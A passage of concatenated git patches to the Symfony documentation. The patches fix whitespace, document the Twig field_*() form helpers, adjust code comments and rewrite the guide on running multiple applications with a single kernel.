     replace_code_block_types: ~
     replacement: ~
     short_array_syntax: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 835cf386072..79f2c12e4fb 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.44.1
+                uses: docker://oskarstark/doctor-rst:1.45.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 2302139cbb9..01dcd4f779c 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -112,7 +112,7 @@ that all have constraints on their properties.
             /**
              * @var Collection|Book[]
              */
-            #[ORM\ManyToMany(targetEntity: Book::class)] 
+            #[ORM\ManyToMany(targetEntity: Book::class)]
             protected $books;
 
             // some other properties

From 91bbf2a31d1de07633a6efa9de9b00c87d626e92 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 May 2023 09:59:16 +0200
Subject: [PATCH 4618/7107] Remove trailing whitespace

---
 doctrine.rst                      | 4 ++--
 form/create_custom_field_type.rst | 2 +-
 form/form_collections.rst         | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index f3f7b624995..cca47d1b0f4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -390,8 +390,8 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 13** The ``EntityManagerInterface $entityManager`` argument tells Symfony 
-  to :ref:`inject the Entity Manager service <services-constructor-injection>` into 
+* **line 13** The ``EntityManagerInterface $entityManager`` argument tells Symfony
+  to :ref:`inject the Entity Manager service <services-constructor-injection>` into
   the controller method. This object is responsible for saving objects to, and
   fetching objects from, the database.
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 003de0c6f3a..6729e0974ad 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -268,7 +268,7 @@ to define, validate and process their values::
 
             // optionally you can transform the given values for the options to
             // simplify the further processing of those options
-            $resolver->setNormalizer('allowed_states', static function (Options $options, $states): ?array 
+            $resolver->setNormalizer('allowed_states', static function (Options $options, $states): ?array
             {
                 if (null === $states) {
                     return $states;
diff --git a/form/form_collections.rst b/form/form_collections.rst
index e320d85989f..4fd05bc311d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -355,7 +355,7 @@ Then create the controller:
 .. code-block:: javascript
 
     // assets/controllers/form-collection_controller.js
-    
+
     import { Controller } from '@hotwired/stimulus';
 
     export default class extends Controller {
@@ -371,7 +371,7 @@ Then create the controller:
             const item = document.createElement('li');
             item.innerHTML = this.prototypeValue.replace(/__name__/g, this.indexValue);
             this.collectionContainerTarget.appendChild(item);
-            this.indexValue++;           
+            this.indexValue++;
         }
     }
 

From 9e211756bc22f3d5f8bb9eea8623a9a9293829a9 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Tue, 11 Apr 2023 15:25:35 +0200
Subject: [PATCH 4619/7107] [Form] Add some basic docs for Twig Form field
 helpers

---
 form/form_customization.rst  | 43 ++++++++++++++++++++++++++++++++++++
 reference/twig_reference.rst |  6 +++++
 2 files changed, 49 insertions(+)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3551ed2344e..9db536dfbd6 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -87,6 +87,49 @@ control over how each form field is rendered, so you can fully customize them:
     Later in this article you can find the full reference of these Twig
     functions with more usage examples.
 
+.. _reference-forms-twig-field-helpers:
+
+Form Field Helpers
+------------------
+
+The ``form_*()`` helpers render each part of the form field, including all its needed HTML elements. Most developers
+like this behavior, but some designers struggle with it, because it hides all the HTML in form themes which are not
+easy to manage by them.
+
+That's why some Twig form helpers are available to render the value of each form field part without adding any
+HTML around it:
+
+* ``field_name``
+* ``field_value``
+* ``field_label``
+* ``field_help``
+* ``field_errors``
+* ``field_choices`` (an iterator of the field choices; e.g. for ``<select>``)
+
+When using these helpers, you must write all the HTML contents for all form fields, which some people prefer to better
+control the generated HTML without having to deal with form themes:
+
+.. code-block:: html+twig
+
+    <input
+        name="{{ field_name(form.username) }}"
+        value="{{ field_value(form.username) }}"
+        placeholder="{{ field_label(form.username) }}"
+        class="form-control"
+    />
+
+    <select name="{{ field_name(form.country) }}" class="form-control">
+        <option value="">{{ field_label(form.country) }}</option>
+
+        {% for label, value in field_choices(form.country) %}
+            <option value="{{ value }}">{{ label }}</option>
+        {% endfor %}
+    </select>
+
+.. versionadded:: 5.2
+
+    The ``field_*()`` helpers were introduced in Symfony 5.2.
+
 Form Rendering Variables
 ------------------------
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 38d96910fd2..0ee70b0929d 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -365,6 +365,12 @@ explained in the article about :doc:`customizing form rendering </form/form_cust
 * :ref:`form_help() <reference-forms-twig-help>`
 * :ref:`form_row() <reference-forms-twig-row>`
 * :ref:`form_rest() <reference-forms-twig-rest>`
+* :ref:`field_name() <reference-forms-twig-field-helpers>`
+* :ref:`field_value() <reference-forms-twig-field-helpers>`
+* :ref:`field_label() <reference-forms-twig-field-helpers>`
+* :ref:`field_help() <reference-forms-twig-field-helpers>`
+* :ref:`field_errors() <reference-forms-twig-field-helpers>`
+* :ref:`field_choices() <reference-forms-twig-field-helpers>`
 
 .. _reference-twig-filters:
 

From 8578924939c1ebe1ccdd0cdd88581c772998f3e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 May 2023 15:31:55 +0200
Subject: [PATCH 4620/7107] Tweaks

---
 form/form_customization.rst | 33 +++++++++++++++++----------------
 1 file changed, 17 insertions(+), 16 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 9db536dfbd6..87be104c7f1 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -92,22 +92,23 @@ control over how each form field is rendered, so you can fully customize them:
 Form Field Helpers
 ------------------
 
-The ``form_*()`` helpers render each part of the form field, including all its needed HTML elements. Most developers
-like this behavior, but some designers struggle with it, because it hides all the HTML in form themes which are not
-easy to manage by them.
-
-That's why some Twig form helpers are available to render the value of each form field part without adding any
-HTML around it:
-
-* ``field_name``
-* ``field_value``
-* ``field_label``
-* ``field_help``
-* ``field_errors``
-* ``field_choices`` (an iterator of the field choices; e.g. for ``<select>``)
-
-When using these helpers, you must write all the HTML contents for all form fields, which some people prefer to better
-control the generated HTML without having to deal with form themes:
+The ``form_*()`` helpers shown in the previous section render different parts of
+the form field, including all its HTML elements. Some developers and designers
+struggle with this behavior, because it hides all the HTML elements in form
+themes which are not trivial to customize.
+
+That's why Symfony provides other Twig form helpers that render the value of
+each form field part without adding any HTML around it:
+
+* ``field_name()``
+* ``field_value()``
+* ``field_label()``
+* ``field_help()``
+* ``field_errors()``
+* ``field_choices()`` (an iterator for choice fields; e.g. for ``<select>``)
+
+When using these helpers, you must write all the HTML contents for all form
+fields, so you no longer have to deal with form themes:
 
 .. code-block:: html+twig
 

From b3bc5aca3e6fa3f7c5d0c2b52f334cc2d28a0be5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Apr 2023 17:03:05 +0200
Subject: [PATCH 4621/7107] Don't use double backquotes in the comments

---
 .../cache/adapters/array_cache_adapter.rst    |  2 +-
 event_dispatcher.rst                          |  2 +-
 service_container/autowiring.rst              | 20 +++++++++----------
 testing.rst                                   |  5 ++---
 4 files changed, 14 insertions(+), 15 deletions(-)

diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index 7429593f993..1d8cd87269a 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -15,7 +15,7 @@ method::
         // until the current PHP process finishes)
         $defaultLifetime = 0,
 
-        // if ``true``, the values saved in the cache are serialized before storing them
+        // if true, the values saved in the cache are serialized before storing them
         $storeSerialized = true,
 
         // the maximum lifetime (in seconds) of the entire cache (after this time, the
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ae13f5d61a6..c04e309eb46 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -796,7 +796,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
         public function onMailerPostSend(AfterSendMailEvent $event)
         {
             $returnValue = $event->getReturnValue();
-            // modify the original ``$returnValue`` value
+            // modify the original $returnValue value
 
             $event->setReturnValue($returnValue);
         }
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 39fa1ba5299..60baa01b261 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -216,8 +216,8 @@ adding a service alias:
                 # ...
 
             # but this fixes it!
-            # the ``app.rot13.transformer`` service will be injected when
-            # an ``App\Util\Rot13Transformer`` type-hint is detected
+            # the "app.rot13.transformer" service will be injected when
+            # an App\Util\Rot13Transformer type-hint is detected
             App\Util\Rot13Transformer: '@app.rot13.transformer'
 
     .. code-block:: xml
@@ -251,8 +251,8 @@ adding a service alias:
                 ->autowire();
 
             // but this fixes it!
-            // the ``app.rot13.transformer`` service will be injected when
-            // an ``App\Util\Rot13Transformer`` type-hint is detected
+            // the "app.rot13.transformer" service will be injected when
+            // an App\Util\Rot13Transformer type-hint is detected
             $services->alias(Rot13Transformer::class, 'app.rot13.transformer');
         };
 
@@ -355,8 +355,8 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
 
             $services->set(Rot13Transformer::class);
 
-            // the ``App\Util\Rot13Transformer`` service will be injected when
-            // an ``App\Util\TransformerInterface`` type-hint is detected
+            // the App\Util\Rot13Transformer service will be injected when
+            // an App\Util\TransformerInterface type-hint is detected
             $services->alias(TransformerInterface::class, Rot13Transformer::class);
         };
 
@@ -526,13 +526,13 @@ the injection::
             $services->set(Rot13Transformer::class)->autowire();
             $services->set(UppercaseTransformer::class)->autowire();
 
-            // the ``App\Util\UppercaseTransformer`` service will be
-            // injected when an ``App\Util\TransformerInterface``
-            // type-hint for a ``$shoutyTransformer`` argument is detected.
+            // the App\Util\UppercaseTransformer service will be
+            // injected when an App\Util\TransformerInterface
+            // type-hint for a $shoutyTransformer argument is detected.
             $services->alias(TransformerInterface::class.' $shoutyTransformer', UppercaseTransformer::class);
 
             // If the argument used for injection does not match, but the
-            // type-hint still matches, the ``App\Util\Rot13Transformer``
+            // type-hint still matches, the App\Util\Rot13Transformer
             // service will be injected.
             $services->alias(TransformerInterface::class, Rot13Transformer::class);
 
diff --git a/testing.rst b/testing.rst
index c7885328242..3ca9f5e6e8a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -566,11 +566,10 @@ In the above example, the test validates that the HTTP response was successful
 and the request body contains a ``<h1>`` tag with ``"Hello world"``.
 
 The ``request()`` method also returns a crawler, which you can use to
-create more complex assertions in your tests::
+create more complex assertions in your tests (e.g. to count the number of page
+elements that match a given CSS selector)::
 
     $crawler = $client->request('GET', '/post/hello-world');
-
-    // for instance, count the number of ``.comment`` elements on the page
     $this->assertCount(4, $crawler->filter('.comment'));
 
 You can learn more about the crawler in :doc:`/testing/dom_crawler`.

From f1698a449d2446c5f1615b232595a29b1740c84e Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Mon, 10 Apr 2023 21:01:00 -0400
Subject: [PATCH 4622/7107] Revamping Multiple Kernels documentation

---
 configuration/multiple_kernels.rst | 467 +++++++++++++++++++----------
 1 file changed, 306 insertions(+), 161 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index dc7e4c5b390..12ebaf67eda 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -1,244 +1,389 @@
-How To Create Symfony Applications with Multiple Kernels
-========================================================
+How to Create Multiple Symfony Applications with a Single Kernel
+================================================================
 
-.. caution::
+In most Symfony applications, incoming requests are processed by the front controller at ``public/index.php``, which
+instantiates the ``src/Kernel.php`` class to create the application kernel. This kernel loads the bundles, configurations,
+and handles the request to generate the response.
 
-    Creating applications with multiple kernels is no longer recommended by
-    Symfony. Consider creating multiple small applications instead.
+The current implementation of the Kernel class serves as a convenient default for a single application. However, it can
+also manage multiple applications. While the Kernel typically runs the same application with different configurations
+based on various :ref:`environments <configuration-environments>` , it can be adapted to run different applications with
+specific bundles and configurations.
 
-In most Symfony applications, incoming requests are processed by the
-``public/index.php`` front controller, which instantiates the ``src/Kernel.php``
-class to create the application kernel that loads the bundles and handles the
-request to generate the response.
+These are some of the common use cases for creating multiple applications with a single Kernel:
 
-This single kernel approach is a convenient default, but Symfony applications
-can define any number of kernels. Whereas
-:ref:`environments <configuration-environments>` run the same application with
-different configurations, kernels can run different parts of the same
-application.
+* An application that defines an API can be divided into two segments to improve performance. The first segment serves
+  the regular web application, while the second segment exclusively responds to API requests. This approach requires
+  loading fewer bundles and enabling fewer features for the second part, thus optimizing performance;
+* A highly sensitive application could be divided into two parts for enhanced security. The first part would only load
+  routes corresponding to the publicly exposed sections of the application. The second part would load the remainder of
+  the application, with its access safeguarded by the web server;
+* A monolithic application could be gradually transformed into a more distributed architecture, such as micro-services.
+  This approach allows for a seamless migration of a large application while still sharing common configurations and
+  components.
 
-These are some of the common use cases for creating multiple kernels:
+Turning a Single Application into Multiple Applications
+-------------------------------------------------------
 
-* An application that defines an API could define two kernels for performance
-  reasons. The first kernel would serve the regular application and the second
-  one would only respond to the API requests, loading less bundles and enabling
-  less features;
-* A highly sensitive application could define two kernels. The first one would
-  only load the routes that match the parts of the application exposed publicly.
-  The second kernel would load the rest of the application and its access would
-  be protected by the web server;
-* A micro-services oriented application could define several kernels to
-  enable/disable services selectively turning a traditional monolith application
-  into several micro-applications.
+Let's explore the steps required to convert a single application into a new one that supports multiple applications:
 
-Adding a new Kernel to the Application
---------------------------------------
+1. Create a new application;
+2. Update the Kernel class to support multiple applications;
+3. Add a new ``APP_ID`` environment variable;
+4. Update the front controllers.
 
-Creating a new kernel in a Symfony application is a three-step process:
+The following example shows how to create a new application for the API of a new Symfony project.
 
-1. Create a new front controller to load the new kernel;
-2. Create the new kernel class;
-3. Define the configuration loaded by the new kernel.
+Step 1) Create a new Application
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The following example shows how to create a new kernel for the API of a given
-Symfony application.
+In this example, we will use the `Shared Kernel`_ pattern, where, although all applications maintain an isolated context,
+they can share common bundles, configurations, and code if desired. The optimal approach will depend on your specific
+needs and requirements, so it's up to you to decide which best suits your project.
 
-Step 1) Create a new Front Controller
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+First, let's create a new ``apps`` directory at the root of your project, which will hold all the necessary applications.
+Each application will follow a simplified directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
 
-Instead of creating the new front controller from scratch, it's easier to
-duplicate the existing one. For example, create ``public/api.php`` from
-``public/index.php``.
+.. code-block:: text
 
-Then, update the code of the new front controller to instantiate the new kernel
-class instead of the usual ``Kernel`` class::
+    your-project/
+    ├─ apps/
+    │  └─ api/
+    │     ├─ config/
+    │     │  ├─ bundles.php
+    │	  │  ├─ routes.yaml
+    │	  │  └─ services.yaml
+    │  	  └─ src/
+    ├─ bin/
+    │  └─ console
+    ├─ config/
+    ├─ public/
+    │  └─ index.php
+    ├─ src/
+    │	└─ Kernel.php
 
-    // public/api.php
-    // ...
-    $kernel = new ApiKernel(
-        $_SERVER['APP_ENV'] ?? 'dev',
-        $_SERVER['APP_DEBUG'] ?? ('prod' !== ($_SERVER['APP_ENV'] ?? 'dev'))
-    );
-    // ...
+.. note::
+
+    Note that the ``config/`` and ``src/`` directories at the root of the project will represent the shared context among
+    all applications within the ``apps/`` directory. Therefore, you should carefully consider what is common and what
+    should be placed in the specific application.
 
 .. tip::
 
-    Another approach is to keep the existing ``index.php`` front controller, but
-    add an ``if`` statement to load the different kernel based on the URL (e.g.
-    if the URL starts with ``/api``, use the ``ApiKernel``).
+    You might also consider renaming the namespace for the shared context, from ``App`` to ``Shared``, as it will make it
+    easier to distinguish and provide clearer meaning to this context.
 
-Step 2) Create the new Kernel Class
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Since the new ``apps/api/src/`` directory will host the PHP code related to the API, we need to update the ``composer.json``
+file to include it in the autoload section:
 
-Now you need to define the ``ApiKernel`` class used by the new front controller.
-The easiest way to do this is by duplicating the existing  ``src/Kernel.php``
-file and make the needed changes.
+.. code-block:: json
 
-In this example, the ``ApiKernel`` will load fewer bundles than the default
-Kernel. Be sure to also change the location of the cache, logs and configuration
-files so they don't collide with the files from ``src/Kernel.php``::
+    {
+        "autoload": {
+            "psr-4": {
+                "Shared\\": "src/",
+                "Api\\": "apps/api/src/"
+            }
+        }
+    }
 
-    // src/ApiKernel.php
-    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+Additionally, don't forget to run `composer dump-autoload` to generate the autoload files.
 
-    class ApiKernel extends Kernel
+Step 2) Update the Kernel class to support Multiple Applications
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Since we aim to support multiple applications, we will add a new property ``string $id`` to the Kernel to identify the
+application being loaded. This property will also allow us to split the cache, logs, and configuration files in order to
+avoid collisions with other applications. Moreover, it contributes to performance optimization, as each application will
+load only the required resources::
+
+    // src/Kernel.php
+    namespace Shared;
+
+    // ...
+
+    class Kernel extends BaseKernel
     {
         use MicroKernelTrait;
 
-        public function getProjectDir(): string
+        public function __construct(string $environment, bool $debug, private string $id)
+        {
+            parent::__construct($environment, $debug);
+        }
+
+        public function getSharedConfigDir(): string
+        {
+            return $this->getProjectDir().'/config';
+        }
+
+        public function getAppConfigDir(): string
+        {
+            return $this->getProjectDir().'/apps/'.$this->id.'/config';
+        }
+
+        public function registerBundles(): iterable
         {
-            return \dirname(__DIR__);
+            $sharedBundles = require $this->getSharedConfigDir().'/bundles.php';
+            $appBundles = require $this->getAppConfigDir().'/bundles.php';
+
+            // load common bundles, such as the FrameworkBundle, as well as
+            // specific bundles required exclusively for the app itself
+            foreach (array_merge($sharedBundles, $appBundles) as $class => $envs) {
+                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
+                    yield new $class();
+                }
+            }
         }
 
         public function getCacheDir(): string
         {
-            return $this->getProjectDir().'/var/cache/api/'.$this->environment;
+            // divide cache for each application
+            return ($_SERVER['APP_CACHE_DIR'] ?? $this->getProjectDir().'/var/cache').'/'.$this->id.'/'.$this->environment;
         }
 
         public function getLogDir(): string
         {
-            return $this->getProjectDir().'/var/log/api';
+            // divide logs for each application
+            return ($_SERVER['APP_LOG_DIR'] ?? $this->getProjectDir().'/var/log').'/'.$this->id;
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $containerConfigurator->import('../config/api/{packages}/*.yaml');
-            $containerConfigurator->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
-
-            if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
-                $containerConfigurator->import('../config/api/services.yaml');
-                $containerConfigurator->import('../config/api/{services}_'.$this->environment.'.yaml');
-            } else {
-                $containerConfigurator->import('../config/api/{services}.php');
-            }
+            // load common config files, such as the framework.yaml, as well as
+            // specific configs required exclusively for the app itself
+            $this->doConfigureContainer($container, $this->getSharedConfigDir());
+            $this->doConfigureContainer($container, $this->getAppConfigDir());
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
         {
-            $routes->import('../config/api/{routes}/'.$this->environment.'/*.yaml');
-            $routes->import('../config/api/{routes}/*.yaml');
-            // ... load only the config routes strictly needed for the API
+            // load common routes files, such as the routes/framework.yaml, as well as
+            // specific routes required exclusively for the app itself
+            $this->doConfigureRoutes($routes, $this->getSharedConfigDir());
+            $this->doConfigureRoutes($routes, $this->getAppConfigDir());
         }
 
-        // If you need to run some logic to decide which bundles to load,
-        // you might prefer to use the registerBundles() method instead
-        private function getBundlesPath(): string
+        private function doConfigureContainer(ContainerConfigurator $container, string $configDir): void
         {
-            // load only the bundles strictly needed for the API
-            return $this->getProjectDir().'/config/api_bundles.php';
+            $container->import($configDir.'/{packages}/*.{php,yaml}');
+            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
+
+            if (is_file($configDir.'/services.yaml')) {
+                $container->import($configDir.'/services.yaml');
+                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import($configDir.'/{services}.php');
+            }
+        }
+
+        private function doConfigureRoutes(RoutingConfigurator $routes, string $configDir): void
+        {
+            $routes->import($configDir.'/{routes}/'.$this->environment.'/*.{php,yaml}');
+            $routes->import($configDir.'/{routes}/*.{php,yaml}');
+
+            if (is_file($configDir.'/routes.yaml')) {
+                $routes->import($configDir.'/routes.yaml');
+            } else {
+                $routes->import($configDir.'/{routes}.php');
+            }
+
+            if (false !== ($fileName = (new \ReflectionObject($this))->getFileName())) {
+                $routes->import($fileName, 'annotation');
+            }
         }
     }
 
-.. versionadded:: 5.4
+In this example, we reuse the default implementation to import configuration and routes based on a given configuration
+directory. As we saw earlier, this approach will import both shared and app-specific resources.
 
-    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
+Step 3) Add a new APP_ID environment variable
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Step 3) Define the Kernel Configuration
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Now, let's introduce a new environment variable that identifies the current application. This new variable can be added
+to the ``.env`` file to provide a default value, but it should typically be added to your web server configuration.
 
-Finally, define the configuration files that the new ``ApiKernel`` will load.
-According to the above code, this config will live in one or multiple files
-stored in ``config/api/`` and ``config/api/ENVIRONMENT_NAME/`` directories.
+.. code-block:: bash
 
-The new configuration files can be created from scratch when you load only a few
-bundles, because it will be small. Otherwise, duplicate the existing
-config files in ``config/packages/`` or better, import them and override the
-needed options.
+    # .env
+    APP_ID=api
 
-Executing Commands with a Different Kernel
-------------------------------------------
+.. caution::
 
-The ``bin/console`` script used to run Symfony commands always uses the default
-``Kernel`` class to build the application and load the commands. If you need
-to run console commands using the new kernel, duplicate the ``bin/console``
-script and rename it (e.g. ``bin/api``).
+    The value of this variable must match the application directory within ``apps/`` as it is used in the Kernel to load
+    the specific application configuration.
 
-Then, replace the ``Kernel`` instance by your own kernel instance
-(e.g. ``ApiKernel``). Now you can run commands using the new kernel
-(e.g. ``php bin/api cache:clear``).
+Step 4) Update the Front Controllers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. note::
+In this final step, we will update the front controllers ``public/index.php`` and ``bin/console`` to pass the value of
+the ``APP_ID`` variable to the Kernel instance. This will allow the Kernel to load and run the specified application::
 
-    The commands available for each console script (e.g. ``bin/console`` and
-    ``bin/api``) can differ because they depend on the bundles enabled for each
-    kernel, which could be different.
+    // public/index.php
+    use Shared\Kernel;
+    // ...
+
+    return function (array $context) {
+        return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $context['APP_ID']);
+    };
+
+Similar to configuring the required ``APP_ENV`` and ``APP_DEBUG`` values, the third argument of the Kernel constructor
+is now also necessary to setting the application ID, which is derived from an external configuration.
+
+For the second front controller, we will define a new console option to allow passing the application ID we want to run
+under CLI context::
+
+    // bin/console
+    use Shared\Kernel;
+    // ...
+
+    return function (InputInterface $input, array $context) {
+        $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $input->getParameterOption(['--id', '-i'], $context['APP_ID']));
+
+        $application = new Application($kernel);
+        $application->getDefinition()
+            ->addOption(new InputOption('--id', '-i', InputOption::VALUE_REQUIRED, 'The App ID'))
+        ;
+
+        return $application;
+    };
+
+That's it!
+
+Executing Commands
+------------------
+
+The ``bin/console`` script, which is used to run Symfony commands, always uses the ``Kernel`` class to build the
+application and load the commands. If you need to run console commands for a specific application, you can provide the
+``--id`` option along with the appropriate identity value:
+
+.. code-block:: terminal
+
+    php bin/console cache:clear --id=api
+    // or
+    php bin/console cache:clear -iapi
+
+    // alternatively
+    export APP_ID=api
+    php bin/console cache:clear
+
+You might want to update the composer auto-scripts section to run multiple commands simultaneously. In this example,
+we assume you have a second application for managing the configuration (admin):
+
+.. code-block:: json
+
+    {
+        "scripts": {
+            "auto-scripts": {
+                "cache:clear -iapi": "symfony-cmd",
+                "cache:clear -iadmin": "symfony-cmd",
+                "assets:install %PUBLIC_DIR% -iapi": "symfony-cmd",
+                "assets:install %PUBLIC_DIR% -iadmin --no-cleanup": "symfony-cmd"
+            }
+        }
+    }
+
+Then, run `composer auto-scripts` to test it!
+
+.. note::
 
-Rendering Templates Defined in a Different Kernel
--------------------------------------------------
+    The commands available for each console script (e.g. ``bin/console -iapi`` and ``bin/console -iadmin``) can differ
+    because they depend on the bundles enabled for each application, which could be different.
 
-If you follow the Symfony Best Practices, the templates of the default kernel
-will be stored in ``templates/``. Trying to render those templates in a
-different kernel will result in a *There are no registered paths for namespace
-"__main__"* error.
+Rendering Templates
+-------------------
 
-In order to solve this issue, add the following configuration to your kernel:
+Let's assume there is now another app called ``admin``. If you follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
+templates will be located in the ``templates/`` directory at the project's root. For admin-specific templates, you can
+create a new directory ``apps/admin/templates/`` which you will need to manually configure under the Admin application:
 
 .. code-block:: yaml
 
-    # config/api/twig.yaml
+    # apps/admin/config/packages/twig.yaml
     twig:
         paths:
-            # allows to use api/templates/ dir in the ApiKernel
-            "%kernel.project_dir%/api/templates": ~
+            '%kernel.project_dir%/apps/admin/templates': Admin
+
+Then, use this Twig namespace to reference any template within the Admin application only, for example ``@Admin/form/fields.html.twig``.
 
-Running Tests Using a Different Kernel
---------------------------------------
+Running Tests
+-------------
 
-In Symfony applications, functional tests extend by default from the
-:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class. Inside that
-class, a method called ``getKernelClass()`` tries to find the class of the kernel
-to use to run the application during tests. The logic of this method does not
-support multiple kernel applications, so your tests won't use the right kernel.
+In Symfony applications, functional tests typically extend from the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`
+class by default. Within its parent class, ``KernelTestCase``, there is a method called ``createKernel()`` that attempts to
+create the kernel responsible for running the application during tests. However, the current logic of this method doesn't
+include our new application ID argument, so we need to make an update::
 
-The solution is to create a custom base class for functional tests extending
-from ``WebTestCase`` class and overriding the ``getKernelClass()`` method to
-return the fully qualified class name of the kernel to use::
+    // apps/api/tests/ApiTestCase.php
+    namespace Api\Tests;
 
+    use Shared\Kernel;
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+    use Symfony\Component\HttpKernel\KernelInterface;
 
-    // tests needing the ApiKernel to work, now must extend this
-    // ApiTestCase class instead of the default WebTestCase class
     class ApiTestCase extends WebTestCase
     {
-        protected static function getKernelClass()
+        protected static function createKernel(array $options = []): KernelInterface
         {
-            return 'App\ApiKernel';
+            $env = $options['environment'] ?? $_ENV['APP_ENV'] ?? $_SERVER['APP_ENV'] ?? 'test';
+            $debug = $options['debug'] ?? (bool) ($_ENV['APP_DEBUG'] ?? $_SERVER['APP_DEBUG'] ?? true);
+
+            return new Kernel($env, $debug, 'api');
         }
+    }
 
-        // this is needed because the KernelTestCase class keeps a reference to
-        // the previously created kernel in its static $kernel property. Thus,
-        // if your functional tests do not run in isolated processes, a later run
-        // test for a different kernel will reuse the previously created instance,
-        // which points to a different kernel
-        protected function tearDown()
-        {
-            parent::tearDown();
+.. note::
+
+    Keep in mind that we will set a fixed application ID value in this instance, as the specific test cases extending
+    from ``ApiTestCase`` will focus solely on the ``api`` tests.
+
+In this situation, we have created a ``tests/`` directory inside the ``apps/api/`` application. As a result, we need to
+inform both the ``composer.json`` file and our ``phpunit.xml`` configuration about its existence:
 
-            static::$class = null;
+.. code-block:: json
+
+    {
+        "autoload-dev": {
+            "psr-4": {
+                "Shared\\Tests\\": "tests/",
+                "Api\\Tests\\": "apps/api/tests/"
+            }
         }
     }
 
-Adding more Kernels to the Application
---------------------------------------
+Remember to run ``composer dump-autoload`` to generate the autoload files.
+
+And, here is the update needed for the ``phpunit.xml`` file:
+
+.. code-block:: xml
 
-If your application is very complex and you create several kernels, it's better
-to store them in their own directories instead of messing with lots of files in
-the default ``src/`` directory:
+    <testsuites>
+        <testsuite name="shared">
+            <directory>tests</directory>
+        </testsuite>
+        <testsuite name="api">
+            <directory>apps/api/tests</directory>
+        </testsuite>
+    </testsuites>
+
+Adding more Applications
+------------------------
+
+Now you can begin adding more applications as needed, such as an ``admin`` application to manage the project's
+configuration and permissions. To do that, you will have to repeat the step 1 only:
 
 .. code-block:: text
 
-    project/
-    ├─ src/
-    │  ├─ ...
-    │  └─ Kernel.php
-    ├─ api/
-    │  ├─ ...
-    │  └─ ApiKernel.php
-    ├─ ...
-    └─ public/
-        ├─ ...
-        ├─ api.php
-        └─ index.php
+    your-project/
+    ├─ apps/
+    │  ├─ admin/
+    │  │  ├─ config/
